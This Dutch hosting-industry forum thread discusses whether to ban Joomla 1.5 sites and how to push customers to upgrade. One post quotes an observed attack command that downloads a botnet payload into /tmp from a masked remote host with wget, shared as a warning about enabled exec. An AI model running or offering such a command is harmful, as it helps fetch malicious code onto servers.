Joomla 1.5 bannen?

[Bart L]

Is het een idee om een centraal statement te maken, iets zoals ook voor IE 6 gemaakt is?

Zeker als je exec aan hebt staan (niet doen dus) en bijvoorbeeld /tmp niet beveiligd hebt... omdat je zeg maar een niet managed VPS ergens hebt... dan is het echt aftellen voordat er hele enge dingen gebeuren...

Klein voorbeeldje -> sh -c cd /tmp ; /usr/bin/wget -t0 -c http://XXXXX:82/293/d/sess_XXX 1> /dev/null 2> /dev/null && echo OK

En in die session file zit dan instructie voor het botnet, of een stukje PHP, dat ben ik ook al tegen gekomen.

[zebrafilm]

Wij staan geen J1.5 meer toe op de server. Misschien wat makkelijk omdat wij ook upgrade aan bieden maar het begint een beetje op WinXP te lijken. :-)

[vDong]

De illusie dat als je /tmp noexec mount dat hackers/crackers/kiddies dan niks kunnen is een beetje ouderwets. Er is echt meer dan /tmp en ik kom als ik iets tegen kom zelden iets in /tmp tegen, ook geen mislukte pogingen

[Bart L]

Als ik dat dacht had ik die J1.5 wel met rust gelaten Het verbaasde me juist dat we weer iets meer in /tmp lijken tegen te komen.

[cfmweb]

Het vervelende is dat nieuwe versies van Joomla nogal slecht backwards compatible zijn met de oudere versies. Dat moedigt niet echt aan om Joomla te updaten naar een nieuwere versie.

Een gemiddelde gebruiker is allang blij dat hij zijn website klaar heeft, en zit er niet op te wachten om opnieuw te beginnen bij iedere nieuwe versie.

Bij WordPress lijkt dat probleem nu enigszins ondervangen door automatische updates naar nieuwe (minor / veiligheidsupdate) versies. Ik heb nog weinig sites meegemaakt die daarna niet meer werken of functionaliteiten verliezen.

[MediaDeskundig]

Joomla 1.5 is echt verouderd, we zitten nu op 3.3.
Dit is duidelijk een geval van gevaarlijk.
Joomla 1.5 word ook niet meer ondersteund.
Om te upgraden naar de nieuwste versie is niet zo ingewikkeld, alleen moet meestal (altijd) de template vervangen worden.

[Mark17]

En vergeet modules niet die niet meer bijgehouden worden. Wij zijn in ieder geval bezig om alle klanten met verouderde versies van Joomla! en WordPress te benaderen.

[RichardVD]

Wij hebben afgelopen jaar al deze klanten al benaderd. Het overgrote deel onderneemt alleen geen actie. Het contact bestond uit meerdere mails, die steeds dringender werden en waar de consequenties duidelijk in stonden.

[cfmweb]

Wij hebben afgelopen jaar al deze klanten al benaderd. Het overgrote deel onderneemt alleen geen actie. Het contact bestond uit meerdere mails, die steeds dringender werden en waar de consequenties duidelijk in stonden.

En wat waren de consequenties?

[RichardVD]

Met consequentie bedoelde ik niet dat er sancties zijn opgelegd maar een duidelijke opsomming van de mogelijke veiligheidsrisico's en dat de website bij een update van PHP mogelijk niet meer naar behoren werkt.

[Mark17]

Wij bellen de klant en informeren eerst bij naast dat we aangeven dat bij een volgende update van PHP de site mogelijk niet meer werkt. We zullen zien wat het oplevert.

[Bart L]

Die zelfde ronde zijn we nu ook aan het doen, we gaan nog even bepalen wat we doen met de klanten die niet "luisteren".

[Jelte]

Ook in ons bedrijf zitten nog redelijk wat klanten die op Joomla 1.5 zitten. Je kunt alleen een klant niet dwingen om te upgraden.

Overigens hebben wij ook nog geen enkele hack gehad.

[Axel Polfliet]

Joomla 1.5 sites die gehackt worden en waarvan de klant domweg weigert om te updaten of de verantwoordelijkheid hiervoor bij ons probeert neer te leggen verdwijnen enkele reis richting een 'rotzooi' server met daarop andere Joomla 1.5 websites. De klant krijgt dan melding dat de continuïteit van dit platform niet wordt gegarandeerd en dat hij na een upgrade weer terug mag naar een reguliere webhosting server. Klanten welke niet de moeite nemen om hun websites degelijk te onderhouden besteden we weinig tot geen moeite aan.

[ronaldvanhoeven]

Die zelfde ronde zijn we nu ook aan het doen, we gaan nog even bepalen wat we doen met de klanten die niet "luisteren".

Bart, mijn vader zei altijd: wie niet luisteren wilt, moet voelen !